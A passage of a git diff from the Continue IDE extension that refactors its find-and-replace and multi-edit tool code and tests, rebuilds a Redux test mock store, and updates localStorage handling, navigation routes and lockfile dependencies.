lines, - fromEnd, -}: { - lines: string[]; - fromEnd: boolean; -}): string[] { - lines = fromEnd ? lines.toReversed() : lines.slice(); - const newLines: string[] = []; - let shouldContinueRemoving = true; - for (let index = 0; index < lines.length; index++) { - const line = lines[index]; - if (shouldContinueRemoving && line.trim() === "") continue; - shouldContinueRemoving = false; - newLines.push(line); - } - return fromEnd ? newLines.reverse() : newLines; -} diff --git a/gui/src/util/clientTools/multiEditImpl.test.ts b/gui/src/util/clientTools/multiEditImpl.test.ts index 7c262cb82..393564838 100644 --- a/gui/src/util/clientTools/multiEditImpl.test.ts +++ b/gui/src/util/clientTools/multiEditImpl.test.ts @@ -1,8 +1,8 @@ +import { ContinueErrorReason } from "core/util/errors"; import * as ideUtils from "core/util/ideUtils"; import { beforeEach, describe, expect, it, Mock, vi } from "vitest"; import { applyForEditTool } from "../../redux/thunks/handleApplyStateUpdate"; import { ClientToolExtras } from "./callClientTool"; -import { FOUND_MULTIPLE_FIND_STRINGS_ERROR } from "./findAndReplaceUtils"; import { multiEditImpl } from "./multiEditImpl"; vi.mock("uuid", () => ({ @@ -11,26 +11,21 @@ vi.mock("uuid", () => ({ vi.mock("core/util/ideUtils", () => ({ resolveRelativePathInDir: vi.fn(), - inferResolvedUriFromRelativePath: vi.fn(), })); vi.mock("../../redux/thunks/handleApplyStateUpdate", () => ({ applyForEditTool: vi.fn(), })); -describe("multiEditImpl", () => { +describe("multiEditImpl GUI specific", () => { let mockExtras: ClientToolExtras; let mockResolveRelativePathInDir: Mock; - let mockInferResolvedUriFromRelativePath: Mock; let mockApplyForEditTool: Mock; beforeEach(() => { vi.clearAllMocks(); mockResolveRelativePathInDir = vi.mocked(ideUtils.resolveRelativePathInDir); - mockInferResolvedUriFromRelativePath = vi.mocked( - ideUtils.inferResolvedUriFromRelativePath, - ); mockApplyForEditTool = vi.mocked(applyForEditTool); mockExtras = { @@ -48,71 +43,49 @@ describe("multiEditImpl", () => { }; }); - describe("argument validation", () => { + describe("filepath validation", () => { it("should throw if filepath is missing", async () => { await expect( - multiEditImpl({ edits: [] }, "id", mockExtras), - ).rejects.toThrow("filepath is required"); - }); - - it("should throw if edits array is empty", async () => { - await expect( - multiEditImpl({ filepath: "test.txt", edits: [] }, "id", mockExtras), - ).rejects.toThrow( - "edits array is required and must contain at least one edit", + multiEditImpl( + { edits: [{ old_string: "old", new_string: "new" }] }, + "id", + mockExtras, + ), + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingFilepath, + }), ); }); - it("should throw if edit has invalid old_string", async () => { - await expect( - multiEditImpl( - { - filepath: "test.txt", - edits: [{ old_string: null, new_string: "test" }], - }, - "id", - mockExtras, - ), - ).rejects.toThrow("edit at index 0: old_string is required"); - }); + it("should throw if file does not exist in workspace", async () => { + mockResolveRelativePathInDir.mockResolvedValue(null); - it("should throw if edit has undefined new_string", async () => { await expect( multiEditImpl( { - filepath: "test.txt", - edits: [{ old_string: "test", new_string: undefined }], + filepath: "nonexistent.txt", + edits: [{ old_string: "test", new_string: "new" }], }, "id", mockExtras, ), - ).rejects.toThrow("edit at index 0: new_string is required"); - }); - - it("should throw if old_string equals new_string", async () => { - await expect( - multiEditImpl( - { - filepath: "test.txt", - edits: [{ old_string: "same", new_string: "same" }], - }, - "id", - mockExtras, - ), - ).rejects.toThrow( - "edit at index 0: old_string and new_string must be different", + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FileNotFound, + }), ); }); }); - describe("sequential edits", () => { + describe("GUI integration", () => { beforeEach(() => { mockResolveRelativePathInDir.mockResolvedValue( "file:///dir/test/file.txt", ); }); - it("should apply single edit", async () => { + it("should read file from IDE and dispatch edit", async () => { mockExtras.ideMessenger.ide.readFile = vi .fn() .mockResolvedValue("Hello world"); @@ -126,6 +99,9 @@ describe("multiEditImpl", () => { mockExtras, ); + expect(mockExtras.ideMessenger.ide.readFile).toHaveBeenCalledWith( + "file:///dir/test/file.txt", + ); expect(mockApplyForEditTool).toHaveBeenCalledWith({ streamId: "test-uuid", toolCallId: "id", @@ -135,188 +111,7 @@ describe("multiEditImpl", () => { }); }); - it("should apply multiple edits sequentially", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("Hello world\nGoodbye world"); - - await multiEditImpl( - { - filepath: "file.txt", - edits: [ - { old_string: "Hello", new_string: "Hi" }, - { old_string: "world", new_string: "universe", replace_all: true }, - ], - }, - "id", - mockExtras, - ); - - expect(mockApplyForEditTool).toHaveBeenCalledWith({ - streamId: "test-uuid", - toolCallId: "id", - text: "Hi universe\nGoodbye universe", - filepath: "file:///dir/test/file.txt", - isSearchAndReplace: true, - }); - }); - - it("should handle edits that depend on previous edits", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("const x = 1;"); - - await multiEditImpl( - { - filepath: "file.txt", - edits: [ - { old_string: "const x", new_string: "let x" }, - { old_string: "let x = 1;", new_string: "let x = 2;" }, - ], - }, - "id", - mockExtras, - ); - - expect(mockApplyForEditTool).toHaveBeenCalledWith({ - streamId: "test-uuid", - toolCallId: "id", - text: "let x = 2;", - filepath: "file:///dir/test/file.txt", - isSearchAndReplace: true, - }); - }); - - it("should throw if string not found in edit sequence", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("Hello world"); - - await expect( - multiEditImpl( - { - filepath: "file.txt", - edits: [ - { old_string: "Hello", new_string: "Hi" }, - { old_string: "not found", new_string: "test" }, - ], - }, - "id", - mockExtras, - ), - ).rejects.toThrow( - 'edit at index 1: string not found in file: "not found"', - ); - }); - - it("should throw if multiple occurrences without replace_all", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("test test test"); - - await expect( - multiEditImpl( - { - filepath: "file.txt", - edits: [{ old_string: "test", new_string: "replaced" }], - }, - "id", - mockExtras, - ), - ).rejects.toThrow( - `edit at index 0: String "test" appears 3 times in the file. ${FOUND_MULTIPLE_FIND_STRINGS_ERROR}`, - ); - }); - }); - - describe("file creation", () => { - it("should create new file with empty old_string", async () => { - mockResolveRelativePathInDir.mockResolvedValue(null); - mockInferResolvedUriFromRelativePath.mockResolvedValue( - "file:///infered/new.txt", - ); - - await multiEditImpl( - { - filepath: "new.txt", - edits: [{ old_string: "", new_string: "New content\nLine 2" }], - }, - "id", - mockExtras, - ); - - expect(mockApplyForEditTool).toHaveBeenCalledWith({ - streamId: "test-uuid", - toolCallId: "id", - text: "New content\nLine 2", - filepath: "file:///infered/new.txt", - isSearchAndReplace: true, - }); - }); - }); - - describe("replace_all functionality", () => { - beforeEach(() => { - mockResolveRelativePathInDir.mockResolvedValue( - "file:///dir/test/file.txt", - ); - }); - - it("should replace all occurrences when specified", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("foo bar foo baz foo"); - - await multiEditImpl( - { - filepath: "file.txt", - edits: [{ old_string: "foo", new_string: "qux", replace_all: true }], - }, - "id", - mockExtras, - ); - - expect(mockApplyForEditTool).toHaveBeenCalledWith({ - streamId: "test-uuid", - toolCallId: "id", - text: "qux bar qux baz qux", - filepath: "file:///dir/test/file.txt", - isSearchAndReplace: true, - }); - }); - - it("should handle mixed replace_all settings", async () => { - mockExtras.ideMessenger.ide.readFile = vi - .fn() - .mockResolvedValue("x y x z x"); - - await multiEditImpl( - { - filepath: "file.txt", - edits: [ - { old_string: "x", new_string: "a", replace_all: true }, - { old_string: "y", new_string: "b" }, - ], - }, - "id", - mockExtras, - ); - - expect(mockApplyForEditTool).toHaveBeenCalledWith({ - streamId: "test-uuid", - toolCallId: "id", - text: "a b a z a", - filepath: "file:///dir/test/file.txt", - isSearchAndReplace: true, - }); - }); - }); - - describe("error handling", () => { - it("should wrap readFile errors", async () => { - mockResolveRelativePathInDir.mockResolvedValue( - "file:///dir/test/file.txt", - ); + it("should wrap IDE readFile errors", async () => { mockExtras.ideMessenger.ide.readFile = vi .fn() .mockRejectedValue(new Error("Read failed")); @@ -335,7 +130,7 @@ describe("multiEditImpl", () => { }); describe("return value", () => { - it("should return correct structure", async () => { + it("should return structure for async completion", async () => { mockResolveRelativePathInDir.mockResolvedValue( "file:///dir/test/file.txt", ); diff --git a/gui/src/util/clientTools/multiEditImpl.ts b/gui/src/util/clientTools/multiEditImpl.ts index 8b12109e5..4c013c40d 100644 --- a/gui/src/util/clientTools/multiEditImpl.ts +++ b/gui/src/util/clientTools/multiEditImpl.ts @@ -1,91 +1,35 @@ -import { - inferResolvedUriFromRelativePath, - resolveRelativePathInDir, -} from "core/util/ideUtils"; +import { validateMultiEdit } from "core/edit/searchAndReplace/multiEditValidation"; +import { executeMultiFindAndReplace } from "core/edit/searchAndReplace/performReplace"; +import { validateSearchAndReplaceFilepath } from "core/edit/searchAndReplace/validateArgs"; import { v4 as uuid } from "uuid"; import { applyForEditTool } from "../../redux/thunks/handleApplyStateUpdate"; import { ClientToolImpl } from "./callClientTool"; -import { - performFindAndReplace, - validateCreatingForMultiEdit, - validateSingleEdit, -} from "./findAndReplaceUtils"; export const multiEditImpl: ClientToolImpl = async ( args, toolCallId, extras, ) => { - const { filepath, edits, editingFileContents } = args; - - const streamId = uuid(); - - // Validate arguments - if (!filepath) { - throw new Error("filepath is required"); - } - if (!edits || !Array.isArray(edits) || edits.length === 0) { - throw new Error( - "edits array is required and must contain at least one edit", - ); - } - - // Validate each edit operation - for (let i = 0; i < edits.length; i++) { - const edit = edits[i]; - validateSingleEdit(edit.old_string, edit.new_string, i); - } - - // Check if this is creating a new file (first edit has empty old_string) - const isCreatingNewFile = validateCreatingForMultiEdit(edits); - const resolvedUri = await resolveRelativePathInDir( - filepath, + // Note that this is fully duplicate of what occurs in args preprocessing + // This is to handle cases where file changes while tool call is pending + const { edits } = validateMultiEdit(args); + const fileUri = await validateSearchAndReplaceFilepath( + args.filepath, extras.ideMessenger.ide, ); - let newContent: string; - let fileUri: string; - if (isCreatingNewFile) { - if (resolvedUri) { - throw new Error( - `file ${filepath} already exists, cannot create new file`, - ); - } - newContent = edits[0].new_string; - const dirs = await extras.ideMessenger.ide.getWorkspaceDirs(); - fileUri = await inferResolvedUriFromRelativePath( - filepath, - extras.ideMessenger.ide, - dirs, - ); - } else { - if (!resolvedUri) { - throw new Error( - `file ${filepath} does not exist. If you are trying to edit it, correct the filepath. If you are trying to create it, you must pass old_string=""`, - ); - } - newContent = - editingFileContents ?? - (await extras.ideMessenger.ide.readFile(resolvedUri)); - fileUri = resolvedUri; - for (let i = 0; i < edits.length; i++) { - const { old_string, new_string, replace_all } = edits[i]; - newContent = performFindAndReplace( - newContent, - old_string, - new_string, - replace_all, - i, - ); - } - } + const editingFileContents = await extras.ideMessenger.ide.readFile(fileUri); + const newFileContents = executeMultiFindAndReplace( + editingFileContents, + edits, + ); - // Apply the changes to the file + const streamId = uuid(); void extras.dispatch( applyForEditTool({ streamId, toolCallId, - text: newContent, + text: newFileContents, filepath: fileUri, isSearchAndReplace: true, }), diff --git a/gui/src/util/clientTools/singleFindAndReplaceImpl.test.ts b/gui/src/util/clientTools/singleFindAndReplaceImpl.test.ts index e6e8201b9..b3f6ca917 100644 --- a/gui/src/util/clientTools/singleFindAndReplaceImpl.test.ts +++ b/gui/src/util/clientTools/singleFindAndReplaceImpl.test.ts @@ -1,3 +1,4 @@ +import { ContinueErrorReason } from "core/util/errors"; import * as ideUtils from "core/util/ideUtils"; import { beforeEach, describe, expect, it, Mock, vi } from "vitest"; import { applyForEditTool } from "../../redux/thunks/handleApplyStateUpdate"; @@ -45,6 +46,14 @@ describe("singleFindAndReplaceImpl", () => { }); describe("argument validation", () => { + beforeEach(() => { + // For validation tests, make the file exist so we can test validation errors + mockResolveRelativePathInDir.mockResolvedValue("/test/file.txt"); + mockExtras.ideMessenger.ide.readFile = vi + .fn() + .mockResolvedValue("content"); + }); + it("should throw error if filepath is missing", async () => { const args = { old_string: "test", @@ -53,7 +62,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow("filepath is required"); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingFilepath, + }), + ); }); it("should throw error if old_string is missing", async () => { @@ -64,7 +77,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow("old_string is required"); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingOldString, + }), + ); }); it("should throw error if new_string is missing", async () => { @@ -75,7 +92,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow("new_string is required"); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingNewString, + }), + ); }); it("should throw error if old_string and new_string are the same", async () => { @@ -87,7 +108,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow("old_string and new_string must be different"); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); }); }); @@ -103,7 +128,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow("File nonexistent.txt does not exist"); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FileNotFound, + }), + ); }); it("should resolve relative file paths", async () => { @@ -148,7 +177,11 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow(`string not found in file: "not found"`); + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceOldStringNotFound, + }), + ); }); it("should replace single occurrence", async () => { @@ -188,8 +221,10 @@ describe("singleFindAndReplaceImpl", () => { await expect( singleFindAndReplaceImpl(args, "tool-call-id", mockExtras), - ).rejects.toThrow( - 'String "world" appears 2 times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.', + ).rejects.toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMultipleOccurrences, + }), ); }); diff --git a/gui/src/util/clientTools/singleFindAndReplaceImpl.ts b/gui/src/util/clientTools/singleFindAndReplaceImpl.ts index 92c3da178..0fcc09401 100644 --- a/gui/src/util/clientTools/singleFindAndReplaceImpl.ts +++ b/gui/src/util/clientTools/singleFindAndReplaceImpl.ts @@ -1,62 +1,44 @@ -import { resolveRelativePathInDir } from "core/util/ideUtils"; +import { validateSingleEdit } from "core/edit/searchAndReplace/findAndReplaceUtils"; +import { executeFindAndReplace } from "core/edit/searchAndReplace/performReplace"; +import { validateSearchAndReplaceFilepath } from "core/edit/searchAndReplace/validateArgs"; import { v4 as uuid } from "uuid"; import { applyForEditTool } from "../../redux/thunks/handleApplyStateUpdate"; import { ClientToolImpl } from "./callClientTool"; -import { - performFindAndReplace, - validateSingleEdit, -} from "./findAndReplaceUtils"; export const singleFindAndReplaceImpl: ClientToolImpl = async ( args, toolCallId, extras, ) => { - const { - filepath, - old_string, - new_string, - replace_all = false, - editingFileContents, - } = args; - - const streamId = uuid(); - - // Validate arguments - if (!filepath) { - throw new Error("filepath is required"); - } - validateSingleEdit(old_string, new_string); - - // Resolve the file path - const resolvedFilepath = await resolveRelativePathInDir( - filepath, + // Note that this is fully duplicate of what occurs in args preprocessing + // This is to handle cases where file changes while tool call is pending + const { oldString, newString, replaceAll } = validateSingleEdit( + args.old_string, + args.new_string, + args.replace_all, + ); + const fileUri = await validateSearchAndReplaceFilepath( + args.filepath, extras.ideMessenger.ide, ); - if (!resolvedFilepath) { - throw new Error(`File ${filepath} does not exist`); - } - // Read the current file content - const originalContent = - editingFileContents ?? - (await extras.ideMessenger.ide.readFile(resolvedFilepath)); - - // Perform the find and replace operation - const newContent = performFindAndReplace( - originalContent, - old_string, - new_string, - replace_all, + const editingFileContents = await extras.ideMessenger.ide.readFile(fileUri); + const newFileContents = executeFindAndReplace( + editingFileContents, + oldString, + newString, + replaceAll ?? false, + 0, ); // Apply the changes to the file + const streamId = uuid(); void extras.dispatch( applyForEditTool({ streamId, toolCallId, - text: newContent, - filepath: resolvedFilepath, + text: newFileContents, + filepath: fileUri, isSearchAndReplace: true, }), ); diff --git a/gui/src/util/freeTrial.ts b/gui/src/util/freeTrial.ts deleted file mode 100644 index 1961fb358..000000000 --- a/gui/src/util/freeTrial.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { getLocalStorage, setLocalStorage } from "./localStorage"; - -export const FREE_TRIAL_LIMIT_REQUESTS = 50; - -export function hasPassedFTL(): boolean { - return (getLocalStorage("ftc") ?? 0) > FREE_TRIAL_LIMIT_REQUESTS; -} - -export function incrementFreeTrialCount(): number { - const u = getLocalStorage("ftc") ?? 0; - setLocalStorage("ftc", u + 1); - return u + 1; -} diff --git a/gui/src/util/index.ts b/gui/src/util/index.ts index d4cc451f4..ed20fe63f 100644 --- a/gui/src/util/index.ts +++ b/gui/src/util/index.ts @@ -59,6 +59,8 @@ export function isJetBrains() { return getLocalStorage("ide") === "jetbrains"; } +export const isShareSessionSupported = () => !isJetBrains(); + export function isWebEnvironment(): boolean { return ( typeof window !== "undefined" && diff --git a/gui/src/util/localStorage.ts b/gui/src/util/localStorage.ts index a6d630e0a..cab68d7b6 100644 --- a/gui/src/util/localStorage.ts +++ b/gui/src/util/localStorage.ts @@ -8,7 +8,6 @@ type LocalStorageTypes = { hasDismissedOnboardingCard: boolean; ide: "vscode" | "jetbrains"; vsCodeUriScheme: string; - ftc: number; fontSize: number; [key: `inputHistory_${string}`]: JSONContent[]; extensionVersion: string; @@ -16,6 +15,7 @@ type LocalStorageTypes = { shownProfilesIntroduction: boolean; disableIndexing: boolean; hasExitedFreeTrial: boolean; + hasDismissedCliInstallBanner: boolean; }; export enum LocalStorageKey { @@ -49,4 +49,11 @@ export function setLocalStorage( value: LocalStorageTypes[T], ): void { localStorage.setItem(key, JSON.stringify(value)); + + // Dispatch custom event to notify current tab listeners + window.dispatchEvent( + new CustomEvent("localStorageChange", { + detail: { key, value }, + }), + ); } diff --git a/gui/src/util/navigation.ts b/gui/src/util/navigation.ts index 26d318aab..fb35a9ac4 100644 --- a/gui/src/util/navigation.ts +++ b/gui/src/util/navigation.ts @@ -3,7 +3,7 @@ export type ConfigTab = | "models" | "rules" | "tools" - | "agents" + | "configs" | "organizations" | "indexing" | "settings" @@ -29,7 +29,7 @@ export const CONFIG_ROUTES = { MODELS: buildConfigRoute("models"), RULES: buildConfigRoute("rules"), TOOLS: buildConfigRoute("tools"), - AGENTS: buildConfigRoute("agents"), + CONFIGS: buildConfigRoute("configs"), ORGANIZATIONS: buildConfigRoute("organizations"), INDEXING: buildConfigRoute("indexing"), SETTINGS: buildConfigRoute("settings"), diff --git a/gui/src/util/test/mockStore.ts b/gui/src/util/test/mockStore.ts index ce4fb4ecd..38394a2ad 100644 --- a/gui/src/util/test/mockStore.ts +++ b/gui/src/util/test/mockStore.ts @@ -1,23 +1,64 @@ import { configureStore } from "@reduxjs/toolkit"; +import { copyOf } from "core/util"; import { vi } from "vitest"; -import configReducer from "../../redux/slices/configSlice"; -import editModeStateReducer from "../../redux/slices/editState"; -import indexingReducer from "../../redux/slices/indexingSlice"; -import { profilesReducer } from "../../redux/slices/profilesSlice"; -import sessionReducer from "../../redux/slices/sessionSlice"; -import tabsReducer from "../../redux/slices/tabsSlice"; -import uiReducer from "../../redux/slices/uiSlice"; +import { MockIdeMessenger } from "../../context/MockIdeMessenger"; +import configReducer, { + INITIAL_CONFIG_SLICE, +} from "../../redux/slices/configSlice"; +import editModeStateReducer, { + INITIAL_EDIT_STATE, +} from "../../redux/slices/editState"; +import indexingReducer, { + INITIAL_INDEXING_STATE, +} from "../../redux/slices/indexingSlice"; +import { + INITIAL_PROFILES_STATE, + profilesReducer, +} from "../../redux/slices/profilesSlice"; +import sessionReducer, { + INITIAL_SESSION_STATE, +} from "../../redux/slices/sessionSlice"; +import tabsReducer, { INITIAL_TABS_STATE } from "../../redux/slices/tabsSlice"; +import uiReducer, { DEFAULT_UI_SLICE } from "../../redux/slices/uiSlice"; import { RootState } from "../../redux/store"; -export const createMockStore = (initialState?: Partial) => { - const mockIdeMessenger = { - request: vi.fn(), - post: vi.fn(), - respond: vi.fn(), - streamRequest: vi.fn(), - llmStreamChat: vi.fn(), - ide: {} as any, +// TODO remove non-serializable streamAborter, causes headaches +export const getEmptyRootState: () => RootState = () => { + const withoutSession: Omit = { + config: INITIAL_CONFIG_SLICE, + ui: DEFAULT_UI_SLICE, + editModeState: INITIAL_EDIT_STATE, + indexing: INITIAL_INDEXING_STATE, + profiles: INITIAL_PROFILES_STATE, + tabs: INITIAL_TABS_STATE, }; + const { streamAborter, ...serializableSession } = INITIAL_SESSION_STATE; + const sessionCopy = copyOf(serializableSession) as Omit< + RootState["session"], + "streamAborter" + >; + const withoutSessionCopy = copyOf(withoutSession) as Omit< + RootState, + "session" + >; + return { + ...withoutSessionCopy, + session: { + ...sessionCopy, + streamAborter: new AbortController(), + }, + }; +}; + +export const createMockStore = ( + initialState?: Partial, + mockMessenger?: MockIdeMessenger, +): ReturnType & { + mockIdeMessenger: MockIdeMessenger; + getActions: () => any[]; + clearActions: () => void; +} => { + const mockIdeMessenger = mockMessenger ?? new MockIdeMessenger(); const store = configureStore({ reducer: { @@ -30,94 +71,14 @@ export const createMockStore = (initialState?: Partial) => { profiles: profilesReducer, }, preloadedState: { - session: { - history: [], - title: "", - id: "", - lastSessionId: undefined, - mode: "chat", - isStreaming: false, - streamAborter: new AbortController(), - hasReasoningEnabled: false, - contextPercentage: 0, - isPruned: false, - isInEdit: false, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - ...initialState?.session, - }, - ui: { - showDialog: false, - dialogMessage: null, - toolSettings: {}, - ruleSettings: {}, - ...initialState?.ui, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - ...initialState?.editModeState, - }, - config: { - config: { - models: [], - tabAutocompleteModel: undefined, - tools: [], - rules: [], - selectedModelByRole: { - chat: null, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - ...initialState?.config?.config, - }, - lastSelectedModelByRole: {}, - loading: false, - configError: undefined, - ...initialState?.config, - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - ...initialState?.indexing, - }, - tabs: { - tabsItems: [], - ...initialState?.tabs, - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, - ...initialState?.profiles, - }, - } as RootState, + ...getEmptyRootState(), + ...initialState, + }, middleware: (getDefaultMiddleware) => getDefaultMiddleware({ serializableCheck: { - ignoredPaths: ["session.streamAborter"], - ignoredActions: [ - "chat/streamNormalInput/pending", - "chat/streamNormalInput/fulfilled", - "chat/streamNormalInput/rejected", - ], + ignoredPaths: ["session.streamAborter", "ui.dialogMessage"], + ignoredActions: ["ui/setDialogMessage"], }, thunk: { extraArgument: { @@ -141,11 +102,13 @@ export const createMockStore = (initialState?: Partial) => { } actions.push(action); return originalDispatch(action); - }) as any; - - (store as any).getActions = () => actions; - (store as any).clearActions = () => actions.splice(0, actions.length); + }); // Expose mockIdeMessenger so tests can configure it - return { ...store, mockIdeMessenger }; + return { + ...store, + mockIdeMessenger, + getActions: () => actions, + clearActions: () => actions.splice(0, actions.length), + }; }; diff --git a/gui/src/util/test/render.tsx b/gui/src/util/test/render.tsx index 7a2838e4b..f2d49d436 100644 --- a/gui/src/util/test/render.tsx +++ b/gui/src/util/test/render.tsx @@ -17,6 +17,7 @@ import { setupStore } from "../../redux/store"; type ExtendedRenderOptions = Omit & { store?: ReturnType; routerProps?: RouterProps; + mockIdeMessenger?: MockIdeMessenger; }; function setupMocks() { @@ -32,7 +33,8 @@ export async function renderWithProviders( extendedRenderOptions: ExtendedRenderOptions = {}, ) { setupMocks(); - const ideMessenger = new MockIdeMessenger(); + const ideMessenger = + extendedRenderOptions?.mockIdeMessenger ?? new MockIdeMessenger(); const { // Automatically create a store instance if no store was passed in diff --git a/gui/src/util/toolCallState.ts b/gui/src/util/toolCallState.ts index 92df3acd3..c7b9bcbd7 100644 --- a/gui/src/util/toolCallState.ts +++ b/gui/src/util/toolCallState.ts @@ -1,4 +1,5 @@ import { ToolCallDelta, ToolCallState } from "core"; +import { BuiltInToolNames } from "core/tools/builtIn"; import { incrementalParseJson } from "core/util/incrementalParseJson"; // Merge streamed tool calls @@ -67,3 +68,12 @@ export function addToolCallDeltaToState( parsedArgs, }; } + +const editToolNames: string[] = [ + BuiltInToolNames.EditExistingFile, + BuiltInToolNames.SingleFindAndReplace, + BuiltInToolNames.MultiEdit, +]; +export function isEditTool(toolName: string) { + return editToolNames.includes(toolName); +} diff --git a/manual-testing-sandbox/claude_desktop_config.json b/manual-testing-sandbox/claude_desktop_config.json new file mode 100644 index 000000000..b397e36fd --- /dev/null +++ b/manual-testing-sandbox/claude_desktop_config.json @@ -0,0 +1,9 @@ +{ + "mcpServers": { + "linear": { + "command": "npx", + "args": ["-y", "mcp-remote", "https://mcp.linear.app/sse"], + "envFile": "hey" + } + } +} diff --git a/manual-testing-sandbox/loco b/manual-testing-sandbox/loco deleted file mode 160000 index 02fec6cd8..000000000 --- a/manual-testing-sandbox/loco +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 02fec6cd89f89d5a0e7e471bd7a63bdb75b42e49 diff --git a/package-lock.json b/package-lock.json index b3ddaef8f..88c4caf91 100644 --- a/package-lock.json +++ b/package-lock.json @@ -6,9 +6,11 @@ "": { "name": "continue", "devDependencies": { - "@typescript-eslint/parser": "^7.8.0", + "@typescript-eslint/parser": "^8.40.0", "concurrently": "^9.1.2", "eslint-plugin-import": "^2.29.1", + "husky": "^9.1.7", + "lint-staged": "^15.5.2", "prettier": "^3.3.3", "prettier-plugin-tailwindcss": "^0.6.8", "typescript": "^5.6.3" @@ -227,60 +229,90 @@ "license": "MIT" }, "node_modules/@typescript-eslint/parser": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-7.18.0.tgz", - "integrity": "sha512-4Z+L8I2OqhZV8qA132M4wNL30ypZGYOQVBfMgxDH/K5UX0PNqTu1c6za9ST5r9+tavvHiTWmBnKzpCJ/GlVFtg==", + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.1.tgz", + "integrity": "sha512-6JSSaBZmsKvEkbRUkf7Zj7dru/8ZCrJxAqArcLaVMee5907JdtEbKGsZ7zNiIm/UAkpGUkaSMZEXShnN2D1HZA==", "dev": true, - "license": "BSD-2-Clause", "dependencies": { - "@typescript-eslint/scope-manager": "7.18.0", - "@typescript-eslint/types": "7.18.0", - "@typescript-eslint/typescript-estree": "7.18.0", - "@typescript-eslint/visitor-keys": "7.18.0", + "@typescript-eslint/scope-manager": "8.46.1", + "@typescript-eslint/types": "8.46.1", + "@typescript-eslint/typescript-estree": "8.46.1", + "@typescript-eslint/visitor-keys": "8.46.1", "debug": "^4.3.4" }, "engines": { - "node": "^18.18.0 || >=20.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "eslint": "^8.56.0" + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.1.tgz", + "integrity": "sha512-FOIaFVMHzRskXr5J4Jp8lFVV0gz5ngv3RHmn+E4HYxSJ3DgDzU7fVI1/M7Ijh1zf6S7HIoaIOtln1H5y8V+9Zg==", + "dev": true, + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.46.1", + "@typescript-eslint/types": "^8.46.1", + "debug": "^4.3.4" }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/scope-manager": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.18.0.tgz", - "integrity": "sha512-jjhdIE/FPF2B7Z1uzc6i3oWKbGcHb87Qw7AWj6jmEqNOfDFbJWtjt/XfwCpvNkpGWlcJaog5vTR+VV8+w9JflA==", + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.1.tgz", + "integrity": "sha512-weL9Gg3/5F0pVQKiF8eOXFZp8emqWzZsOJuWRUNtHT+UNV2xSJegmpCNQHy37aEQIbToTq7RHKhWvOsmbM680A==", "dev": true, - "license": "MIT", "dependencies": { - "@typescript-eslint/types": "7.18.0", - "@typescript-eslint/visitor-keys": "7.18.0" + "@typescript-eslint/types": "8.46.1", + "@typescript-eslint/visitor-keys": "8.46.1" }, "engines": { - "node": "^18.18.0 || >=20.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } }, - 